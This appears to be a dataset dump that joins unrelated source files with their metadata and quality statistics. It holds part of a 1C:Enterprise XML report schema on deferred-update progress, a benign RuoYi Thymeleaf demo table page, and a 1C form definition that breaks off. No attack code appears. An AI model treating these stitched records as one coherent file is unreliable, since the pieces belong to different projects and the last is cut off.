<dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>КоличествоЗаписей</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">1</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>РасположениеИтогов</dcscor:parameter> <dcscor:value xsi:type="dcscor:DataCompositionTotalPlacement">None</dcscor:value> </dcscor:item> </dcsset:outputParameters> </dcsset:item> <dcsset:item xsi:type="dcsset:StructureItemTable"> <dcsset:row> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>СинонимКонфигурации</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"/> </dcsset:selection> <dcsset:item> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ТипМетаданных</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"/> </dcsset:selection> <dcsset:conditionalAppearance> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>ТипМетаданных</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:field>КоличествоОбъектов</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:field>Прогресс</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">КоличествоОбъектов</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:decimal">0</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ЦветТекста</dcscor:parameter> <dcscor:value xsi:type="v8ui:Color">#009646</dcscor:value> </dcscor:item> </dcsset:appearance> <dcsset:useInOverall>DontUse</dcsset:useInOverall> <dcsset:useInFieldsHeader>DontUse</dcsset:useInFieldsHeader> <dcsset:useInHeader>DontUse</dcsset:useInHeader> <dcsset:useInParameters>DontUse</dcsset:useInParameters> <dcsset:useInFilter>DontUse</dcsset:useInFilter> </dcsset:item> </dcsset:conditionalAppearance> <dcsset:item> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Представление</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Представление</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ВсегоОбъектов</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>КоличествоОбъектов</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Прогресс</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ОбработаноЗаИнтервал</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:conditionalAppearance> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>Представление</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:field>КоличествоОбъектов</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:field>Прогресс</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:field>ВсегоОбъектов</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:field>ОбработаноЗаИнтервал</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">КоличествоОбъектов</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:decimal">0</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ЦветТекста</dcscor:parameter> <dcscor:value xsi:type="v8ui:Color">#009646</dcscor:value> </dcscor:item> </dcsset:appearance> <dcsset:useInOverall>DontUse</dcsset:useInOverall> <dcsset:useInFieldsHeader>DontUse</dcsset:useInFieldsHeader> <dcsset:useInHeader>DontUse</dcsset:useInHeader> <dcsset:useInParameters>DontUse</dcsset:useInParameters> <dcsset:useInFilter>DontUse</dcsset:useInFilter> </dcsset:item> </dcsset:conditionalAppearance> <dcsset:item> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ОбработчикОбновления</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Очередь</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Статус</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ЕстьОшибки</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ПроблемаВДанных</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Очередь</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ОбработчикОбновления</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemFolder"> <dcsset:lwsTitle> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Проблемы</v8:content> </v8:item> </dcsset:lwsTitle> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ЕстьОшибки</dcsset:field> <dcsset:lwsTitle> <v8:item> <v8:lang>ru</v8:lang> <v8:content>обработчики</v8:content> </v8:item> </dcsset:lwsTitle> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ПроблемаВДанных</dcsset:field> <dcsset:lwsTitle> <v8:item> <v8:lang>ru</v8:lang> <v8:content>данные</v8:content> </v8:item> </dcsset:lwsTitle> </dcsset:item> <dcsset:placement>Horizontally</dcsset:placement> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Статус</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Очередь</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ВсегоОбъектов</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>КоличествоОбъектов</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Прогресс</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ОбработаноЗаИнтервал</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:conditionalAppearance> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>ОбработчикОбновления</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:field>Очередь</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:field>КоличествоОбъектов</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:field>Прогресс</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:field>ОбработаноЗаИнтервал</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:field>ВсегоОбъектов</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">КоличествоОбъектов</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:decimal">0</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ЦветТекста</dcscor:parameter> <dcscor:value xsi:type="v8ui:Color">#009646</dcscor:value> </dcscor:item> </dcsset:appearance> <dcsset:useInOverall>DontUse</dcsset:useInOverall> <dcsset:useInFieldsHeader>DontUse</dcsset:useInFieldsHeader> <dcsset:useInHeader>DontUse</dcsset:useInHeader> <dcsset:useInParameters>DontUse</dcsset:useInParameters> <dcsset:useInFilter>DontUse</dcsset:useInFilter> </dcsset:item> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:use>false</dcsset:use> <dcsset:field>ОбработчикОбновления</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:use>false</dcsset:use> <dcsset:field>Очередь</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:use>false</dcsset:use> <dcsset:field>КоличествоОбъектов</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:use>false</dcsset:use> <dcsset:field>Прогресс</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:field>ОбработаноЗаИнтервал</dcsset:field> </dcsset:item> <dcsset:item> <dcsset:use>false</dcsset:use> <dcsset:field>ВсегоОбъектов</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemGroup"> <dcsset:groupType>AndGroup</dcsset:groupType> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">ОбработаноЗаИнтервал</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:decimal">0</dcsset:right> </dcsset:item> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">КоличествоОбъектов</dcsset:left> <dcsset:comparisonType>NotEqual</dcsset:comparisonType> <dcsset:right xsi:type="xs:decimal">0</dcsset:right> </dcsset:item> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ЦветФона</dcscor:parameter> <dcscor:value xsi:type="v8ui:Color">web:Yellow</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ЦветТекста</dcscor:parameter> <dcscor:value xsi:type="v8ui:Color">style:ГруппаВариантовОтчетовЦвет</dcscor:value> </dcscor:item> </dcsset:appearance> <dcsset:useInOverall>DontUse</dcsset:useInOverall> <dcsset:useInFieldsHeader>DontUse</dcsset:useInFieldsHeader> <dcsset:useInHeader>DontUse</dcsset:useInHeader> <dcsset:useInParameters>DontUse</dcsset:useInParameters> <dcsset:useInFilter>DontUse</dcsset:useInFilter> </dcsset:item> </dcsset:conditionalAppearance> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ВариантИспользованияГруппировки</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionGroupUseVariant">AdditionalInformation</dcscor:value> </dcscor:item> </dcsset:outputParameters> </dcsset:item> </dcsset:item> </dcsset:item> </dcsset:row> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"> <dcsset:use>false</dcsset:use> </dcsset:item> </dcsset:selection> </dcsset:item> </dcsset:settings> </settingsVariant> </DataCompositionSchema>
66,456
Template
xml
ru
xml
data
{"qsc_code_num_words": 7057, "qsc_code_num_chars": 66456.0, "qsc_code_mean_word_length": 6.24344622, "qsc_code_frac_words_unique": 0.05030466, "qsc_code_frac_chars_top_2grams": 0.05417612, "qsc_code_frac_chars_top_3grams": 0.06246028, "qsc_code_frac_chars_top_4grams": 0.0802542, "qsc_code_frac_chars_dupe_5grams": 0.9006355, "qsc_code_frac_chars_dupe_6grams": 0.89237404, "qsc_code_frac_chars_dupe_7grams": 0.88626872, "qsc_code_frac_chars_dupe_8grams": 0.87818883, "qsc_code_frac_chars_dupe_9grams": 0.86688606, "qsc_code_frac_chars_dupe_10grams": 0.85299591, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02173594, "qsc_code_frac_chars_whitespace": 0.18102203, "qsc_code_size_file_byte": 66456.0, "qsc_code_num_lines": 1722.0, "qsc_code_num_chars_line_max": 461.0, "qsc_code_num_chars_line_mean": 38.59233449, "qsc_code_frac_chars_alphabet": 0.78778525, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.9018583, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00638792, "qsc_code_frac_chars_string_length": 0.1124052, "qsc_code_frac_chars_long_word_length": 0.04469122, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 1, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_frac_lines_dupe_lines": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/modal/table/parent.html
<!DOCTYPE html> <html lang="zh" xmlns:th="http://www.thymeleaf.org" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro"> <head> <th:block th:include="include :: header('表格传值给父页面')" /> </head> <body class="gray-bg"> <input type="hidden" id="rowIds"> <div class="container-div"> <div class="row"> <div class="col-sm-12 select-table table-striped"> <table id="bootstrap-table"></table> </div> </div> </div> <div th:include="include :: footer"></div> <script th:inline="javascript"> var prefix = ctx + "demo/table"; var datas = [[${@dict.getType('sys_normal_disable')}]]; $(function() { var options = { url: prefix + "/list", showSearch: false, showRefresh: false, showToggle: false, showColumns: false, columns: [{ checkbox: true }, { field : 'userId', title : '用户ID' }, { field : 'userCode', title : '用户编号' }, { field : 'userName', title : '用户姓名' }, { field : 'userPhone', title : '用户手机' }, { field : 'userEmail', title : '用户邮箱' }, { field : 'userBalance', title : '用户余额' }, { field: 'status', title: '用户状态', align: 'center', formatter: function(value, row, index) { return $.table.selectDictLabel(datas, value); } }, { title: '操作', align: 'center', formatter: function(value, row, index) { var actions = []; actions.push('<a class="btn btn-success btn-xs" href="#"><i class="fa fa-edit"></i>编辑</a> '); actions.push('<a class="btn btn-danger btn-xs" href="#"><i class="fa fa-remove"></i>删除</a>'); return actions.join(''); } }] }; $.table.init(options); }); /* 添加用户-选择用户-提交(子页面调用父页面形式) */ function submitHandler(index, layero) { var rows = $.table.selectFirstColumns(); if (rows.length == 0) { $.modal.alertWarning("请至少选择一条记录"); return; } $.modal.close(); // 父页面的方法 // activeWindow().selectUsers(); // 父页面的变量 activeWindow().$('#userids').html('我是通过方式一来的:' + rows.join()); } /* 添加用户-选择用户-提交(回调形式-父页面调用子页面) */ function getSelections() { return $.table.selectFirstColumns(); } $("#bootstrap-table").on("check.bs.table check-all.bs.table uncheck.bs.table uncheck-all.bs.table", function (e, rowsAfter, rowsBefore) { var rows = $.common.equals("uncheck-all", e.type) ? rowsBefore : rowsAfter; var rowIds = $.table.affectedRowIds(rows); $("#rowIds").val(rowIds); }); </script> </body> </html>
2,917
parent
html
en
html
code
{"qsc_code_num_words": 277, "qsc_code_num_chars": 2917.0, "qsc_code_mean_word_length": 5.16606498, "qsc_code_frac_words_unique": 0.50180505, "qsc_code_frac_chars_top_2grams": 0.01677149, "qsc_code_frac_chars_top_3grams": 0.02236198, "qsc_code_frac_chars_top_4grams": 0.03913347, "qsc_code_frac_chars_dupe_5grams": 0.1160028, "qsc_code_frac_chars_dupe_6grams": 0.1160028, "qsc_code_frac_chars_dupe_7grams": 0.08385744, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00154162, "qsc_code_frac_chars_whitespace": 0.33287624, "qsc_code_size_file_byte": 2917.0, "qsc_code_num_lines": 102.0, "qsc_code_num_chars_line_max": 140.0, "qsc_code_num_chars_line_mean": 28.59803922, "qsc_code_frac_chars_alphabet": 0.73381295, "qsc_code_frac_chars_comments": 0.03873843, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.09677419, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.03225806, "qsc_code_frac_chars_string_length": 0.22103387, "qsc_code_frac_chars_long_word_length": 0.00748663, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.00582791, "qsc_codehtml_num_chars_text": 17.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 1}
1c-syntax/ssl_3_1
src/cf/Reports/ПрогрессОтложенногоОбновления/Forms/ЗависимостьОбработчика/Ext/Form.xml
<?xml version="1.0" encoding="UTF-8"?> <Form xmlns="http://v8.1c.ru/8.3/xcf/logform" xmlns:app="http://v8.1c.ru/8.2/managed-application/core" xmlns:cfg="http://v8.1c.ru/8.1/data/enterprise/current-config" xmlns:dcscor="http://v8.1c.ru/8.1/data-composition-system/core" xmlns:dcssch="http://v8.1c.ru/8.1/data-composition-system/schema" xmlns:dcsset="http://v8.1c.ru/8.1/data-composition-system/settings" xmlns:ent="http://v8.1c.ru/8.1/data/enterprise" xmlns:lf="http://v8.1c.ru/8.2/managed-application/logform" xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows" xmlns:xr="http://v8.1c.ru/8.3/xcf/readable" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.18"> <Width>100</Width> <WindowOpeningMode>LockOwnerWindow</WindowOpeningMode> <AutoTitle>false</AutoTitle> <CommandSet> <ExcludedCommand>CustomizeForm</ExcludedCommand> </CommandSet> <AutoCommandBar name="ФормаКоманднаяПанель" id="-1"> <ChildItems> <Button name="ФормаЗакрыть" id="37"> <Type>CommandBarButton</Type> <DefaultButton>true</DefaultButton> <CommandName>Form.StandardCommand.Close</CommandName> <ExtendedTooltip name="ФормаЗакрытьРасширеннаяПодсказка" id="38"/> </Button> <Button name="ФормаЗарегистрированныеДанные" id="39"> <Type>CommandBarButton</Type> <CommandName>Form.Command.ЗарегистрированныеДанные</CommandName> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Зарегистрированные данные</v8:content> </v8:item> </Title> <ExtendedTooltip name="ФормаЗарегистрированныеДанныеРасширеннаяПодсказка" id="40"/> </Button> </ChildItems> </AutoCommandBar> <Events> <Event name="OnOpen">ПриОткрытии</Event> <Event name="OnCreateAtServer">ПриСозданииНаСервере</Event> </Events> <ChildItems> <Table name="ДеревоЗависимостей" id="1"> <Representation>Tree</Representation> <ReadOnly>true</ReadOnly> <AutoInsertNewRow>true</AutoInsertNewRow> <EnableStartDrag>true</EnableStartDrag> <EnableDrag>true</EnableDrag> <DataPath>ДеревоЗависимостей</DataPath> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Дерево зависимостей</v8:content> </v8:item> </Title> <CommandSet> <ExcludedCommand>Add</ExcludedCommand> <ExcludedCommand>Change</ExcludedCommand> <ExcludedCommand>Copy</ExcludedCommand> <ExcludedCommand>Delete</ExcludedCommand> <ExcludedCommand>EndEdit</ExcludedCommand> <ExcludedCommand>HierarchicalList</ExcludedCommand> <ExcludedCommand>List</ExcludedCommand> <ExcludedCommand>MoveDown</ExcludedCommand> <ExcludedCommand>MoveUp</ExcludedCommand> <ExcludedCommand>ShowRowRearrangement</ExcludedCommand> <ExcludedCommand>SortListAsc</ExcludedCommand> <ExcludedCommand>SortListDesc</ExcludedCommand> <ExcludedCommand>Tree</ExcludedCommand> </CommandSet> <ContextMenu name="ДеревоЗависимостейКонтекстноеМеню" id="2"/> <AutoCommandBar name="ДеревоЗависимостейКоманднаяПанель" id="3"> <Autofill>false</Autofill> </AutoCommandBar> <ExtendedTooltip name="ДеревоЗависимостейРасширеннаяПодсказка" id="4"/> <SearchStringAddition name="ДеревоЗависимостейСтрокаПоиска" id="5"> <AdditionSource> <Item>ДеревоЗависимостей</Item> <Type>SearchStringRepresentation</Type> </AdditionSource> <ContextMenu name="ДеревоЗависимостейСтрокаПоискаКонтекстноеМеню" id="6"/> <ExtendedTooltip name="ДеревоЗависимостейСтрокаПоискаРасширеннаяПодсказка" id="7"/> </SearchStringAddition> <ViewStatusAddition name="ДеревоЗависимостейСостояниеПросмотра" id="8"> <AdditionSource> <Item>ДеревоЗависимостей</Item> <Type>ViewStatusRepresentation</Type> </AdditionSource> <ContextMenu name="ДеревоЗависимостейСостояниеПросмотраКонтекстноеМеню" id="9"/> <ExtendedTooltip name="ДеревоЗависимостейСостояниеПросмотраРасширеннаяПодсказка" id="10"/> </ViewStatusAddition> <SearchControlAddition name="ДеревоЗависимостейУправлениеПоиском" id="11"> <AdditionSource> <Item>ДеревоЗависимостей</Item> <Type>SearchControl</Type> </AdditionSource> <ContextMenu name="ДеревоЗависимостейУправлениеПоискомКонтекстноеМеню" id="12"/> <ExtendedTooltip name="ДеревоЗависимостейУправлениеПоискомРасширеннаяПодсказка" id="13"/> </SearchControlAddition> <ChildItems> <ColumnGroup name="ГруппаИмяКартинка" id="35"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Имя картинка</v8:content> </v8:item> </Title> <Group>InCell</Group> <ExtendedTooltip name="ГруппаИмяКартинкаРасширеннаяПодсказка" id="36"/> <ChildItems> <PictureField name="ДеревоЗависимостейКартинка" id="23"> <DataPath>ДеревоЗависимостей.Картинка</DataPath> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Картинка</v8:content> </v8:item> </Title> <EditMode>EnterOnInput</EditMode> <ShowInHeader>false</ShowInHeader> <ContextMenu name="ДеревоЗависимостейКартинкаКонтекстноеМеню" id="24"/> <ExtendedTooltip name="ДеревоЗависимостейКартинкаРасширеннаяПодсказка" id="25"/> </PictureField> <InputField name="ДеревоЗависимостейИмяОбработчика" id="14"> <DataPath>ДеревоЗависимостей.ОбработчикОбновления</DataPath> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Обработчик / От чего зависит</v8:content> </v8:item> </Title> <EditMode>EnterOnInput</EditMode> <Width>45</Width> <AutoMaxWidth>false</AutoMaxWidth> <ContextMenu name="ДеревоЗависимостейИмяОбработчикаКонтекстноеМеню" id="15"/> <ExtendedTooltip name="ДеревоЗависимостейИмяОбработчикаРасширеннаяПодсказка" id="16"/> </InputField> </ChildItems> </ColumnGroup> <InputField name="ДеревоЗависимостейВсегоОбъектов" id="20"> <DataPath>ДеревоЗависимостей.ВсегоОбъектов</DataPath> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Всего</v8:content> </v8:item> </Title> <ToolTip> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Всего объектов к обработке</v8:content> </v8:item> </ToolTip> <EditMode>EnterOnInput</EditMode> <Width>5</Width> <ContextMenu name="ДеревоЗависимостейВсегоОбъектовКонтекстноеМеню" id="21"/> <ExtendedTooltip name="ДеревоЗависимостейВсегоОбъектовРасширеннаяПодсказка" id="22"/> </InputField> <InputField name="ДеревоЗависимостейОсталосьОбработать" id="29"> <DataPath>ДеревоЗависимостей.ОсталосьОбработать</DataPath> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Осталось</v8:content> </v8:item> </Title> <ToolTip> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Осталось обработать объектов</v8:content> </v8:item> </ToolTip> <EditMode>EnterOnInput</EditMode> <Width>5</Width> <ContextMenu name="ДеревоЗависимостейОсталосьОбработатьКонтекстноеМеню" id="30"/> <ExtendedTooltip name="ДеревоЗависимостейОсталосьОбработатьРасширеннаяПодсказка" id="31"/> </InputField> <InputField name="ДеревоЗависимостейОбщийПрогресс" id="32"> <DataPath>ДеревоЗависимостей.ОбщийПрогресс</DataPath> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Прогресс, %</v8:content> </v8:item> </Title> <ToolTip> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Прогресс обработки</v8:content> </v8:item> </ToolTip> <EditMode>EnterOnInput</EditMode> <Width>5</Width> <ContextMenu name="ДеревоЗависимостейОбщийПрогрессКонтекстноеМеню" id="33"/> <ExtendedTooltip name="ДеревоЗависимостейОбщийПрогрессРасширеннаяПодсказка" id="34"/> </InputField> <InputField name="ДеревоЗависимостейОбработаноЗаИнтервал" id="26"> 